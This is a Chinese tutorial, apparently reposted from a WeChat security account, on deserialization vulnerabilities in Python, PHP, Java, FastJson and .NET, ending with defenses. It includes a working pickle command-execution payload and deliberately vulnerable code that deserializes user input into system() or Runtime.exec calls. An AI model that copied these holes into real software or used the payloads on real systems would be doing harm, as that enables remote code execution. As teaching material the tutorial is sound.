漏洞简介
序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。
漏洞成因
漏洞可能出现的位置:
-
解析认证token、session的位置
-
将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等
-
将对象序列化后在网络中传输,如传输json数据,xml数据等
-
参数传递给程序
-
使用RMI协议,被广泛使用的RMI协议完全基于序列化
-
使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等
-
自定义协议用来接收与发送原始的java对象
漏洞原理
Python反序列化漏洞实验
#!/usr/bin/python3
import pickle
# 客户端设置Cookie
set_cookie='abcdefasfsaafasf'
# 序列化后传递
cookie=pickle.dumps(set_cookie)
print("序列化:",cookie)
# ...
# 服务器接收到序列化后的Cookie
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
print("反序列化:",new_cookie)
#!/usr/bin/python3
import pickle
import os
# 定义一个执行命令的类
class exec:
def __init__(self,cmd):
self.cmd=cmd
# __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,
# 第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
def __reduce__(self):
return (os.system,(self.cmd,))
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)
#!/usr/bin/python3
import pickle
# 传递执行whoami命令的序列化数据
cookie=b'x80x04x95x1ex00x00x00x00x00x00x00x8cx02ntx94x8cx06systemx94x93x94x8cx06whoamix94x85x94Rx94.'
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
PHP反序列化漏洞实验
serialize函数输出格式:
-
NULL被序列化为:N
-
Boolean型数据序列化为:b:1,b:0,分别代表True和False
-
Integer型数据序列化为:i:数值
-
String型数据序列化为:s:长度:"值"
-
对象序列化为:O:类名长度:类名:字段数:字段
输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。
PHP中常用魔术方法:
-
__construct:当对象被创建时调用
-
__destruct:当对象被销毁前调用
-
__sleep:执行serialize函数前调用
-
__wakeup:执行unserialize函数前调用
-
__call:在对象中调用不可访问的方法时调用
-
__callStatic:用静态方法调用不可访问方法时调用
-
__get:获得类成因变量时调用
-
__set:设置类成员变量时调用
// 定义一个类
class A{
var $test = "Hello";
function __construct(){
print "<h1>ABCD</h1>";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
// 定义一个类
class A{
// 设置变量值为df
var $test = "df";
// 定义析构函数,在类A销毁时执行system("df")
function __destruct(){
print "Execute CMD: ".$this->test."<br/>";
print "Result: ";
system($this->test);
print "<br/>";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
// GET方式获取参数arg的值
$arg = $_GET['arg'];
// 反序列化参数arg的值
$a_unser = unserialize($arg);
-
PHP反序列化入门之寻找POP链(一)
-
PHP反序列化入门之寻找POP链(二)
Java反序列化漏洞实验
package com.company;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Main{
public static void main(String args[]) throws Exception {
String obj = "hello";
// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件a.ser中读取数据
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复字符串
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
一个Java类的对象要想序列化成功,必须满足两个条件:
-
该类必须实现 java.io.Serializable 接口。
-
该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
package com.company;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 实例化对象test
Test test = new Test();
// 将对象test序列化后写入a.ser文件
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(test);
os.close();
}
}
package com.company;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.io.IOException;
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 从a.ser文件中反序列化test对象
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Test objectFromDisk = (Test)ois.readObject();
System.out.println(objectFromDisk.cmd);
ois.close();
}
}
FastJson反序列化漏洞简单实验
实验环境
-
前端采用json提交用户名密码
-
后台使用fastjson 1.2.24版本
-
源码和WAR包GitHub地址
要执行命令需要构造新的POP链,常用的POP链:
-
基于JNDI注入
-
基于ClassLoader
-
基于TemplatesImpl
-
Java安全之FastJson JdbcRowSetImpl 链分析
-
Fastjson反序列化之TemplatesImpl调用链
ASP.NET反序列化实验
.NET框架包含多个序列化类,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本实验以XML序列化和反序列化为例。
实验环境
-
采用Xml提交数据
-
使用.NET Framework 4.6.1
-
完整源码GitHub地址
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Xml.Serialization;
namespace ASP.NETStudy
{
[Serializable]
public class Test
{
public string _cmd = "ipconfig";
public Test(string cmd)
{
_cmd = cmd;
}
public Test()
{
}
public String Run()
{
Process p = new Process();
// 设置要启动的应用程序
p.StartInfo.FileName = "cmd.exe";
// 不使用操作系统shell启动
p.StartInfo.UseShellExecute = false;
// 接受来自调用程序的输入信息
p.StartInfo.RedirectStandardInput = true;
// 输出信息
p.StartInfo.RedirectStandardOutput = true;
// 输出错误
p.StartInfo.RedirectStandardError = true;
// 不显示程序窗口
p.StartInfo.CreateNoWindow = true;
// 启动程序
p.Start();
// 向cmd窗口发送命令
p.StandardInput.WriteLine(_cmd + "&exit");
// 自动刷新
p.StandardInput.AutoFlush = true;
// 获取输出信息
string strOuput = p.StandardOutput.ReadToEnd();
//等待程序执行完退出进程
p.WaitForExit();
p.Close();
// 返回执行结果
return strOuput;
}
}
public partial class _default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
// 实例化对象 sc_Test
Test sc_Test = new Test();
// 创建字符串缓冲区buffer
StringBuilder buffer = new StringBuilder();
// 实例化序列号对象
XmlSerializer serializer = new XmlSerializer(typeof(Test));
// 序列化对象sc_Test并存储到buffer
using (TextWriter writer = new StringWriter(buffer))
{
serializer.Serialize(writer, sc_Test);
}
String str = buffer.ToString();
// 将xml数据HTML实体化,防止Windows安全检查拦截
string r = string.Empty;
for (int i = 0; i < str.Length; i++)
{
r += "&#" + Char.ConvertToUtf32(str, i) + ";";
}
// 输出到页面
Response.Write("<center><h2>序列化数据</h2><textarea rows="10" cols="100" readonly align="center">" + r+ "</textarea></center>");
}
}
}
using System;
using System.IO;
using System.Xml.Serialization;
namespace ASP.NETStudy
{
public partial class info : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request.RequestType == "POST")
{
// 获取客户端提交的数据
StreamReader s = new StreamReader(Request.InputStream);
// 转换为String格式
String ss = s.ReadToEnd();
//Response.Write(ss);
// 定义反序列化对象
Test dsc_Test;
XmlSerializer serializer = new XmlSerializer(typeof(Test));
// 反序列化数据为dsc_Test对象
using (TextReader reader = new StringReader(ss))
{
Object obj = serializer.Deserialize(reader);
dsc_Test = (Test)obj;
}
// 调用对象的函数Run并返回执行结果到浏览器
Response.Write(dsc_Test.Run());
}
}
}
}
防御方法
-
对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码
-
对反序列化接口添加认证授权
-
设置反序列化服务仅在本地监听或者设置相应防火墙策略
-
禁止使用存在漏洞的第三方框架库
-
过滤、禁用危险函数
-
过滤T3协议或限定可连接的IP
-
设置Nginx反向代理,实现t3协议和http协议隔离
常用工具
-
Java反序列化工具YSoSerial.jar
-
PHP反序列化工具PHPGGC
-
.NET反序列化工具YSoSerial.NET
参考文章
-
深入理解 JAVA 反序列化漏洞
-
Java反序列化漏洞从入门到深入
-
Java反序列化漏洞分析
-
从反序列化到命令执行 – Java 中的 POP 执行链
原文始发于微信公众号(Hack All):常见的Web漏洞——反序列化漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论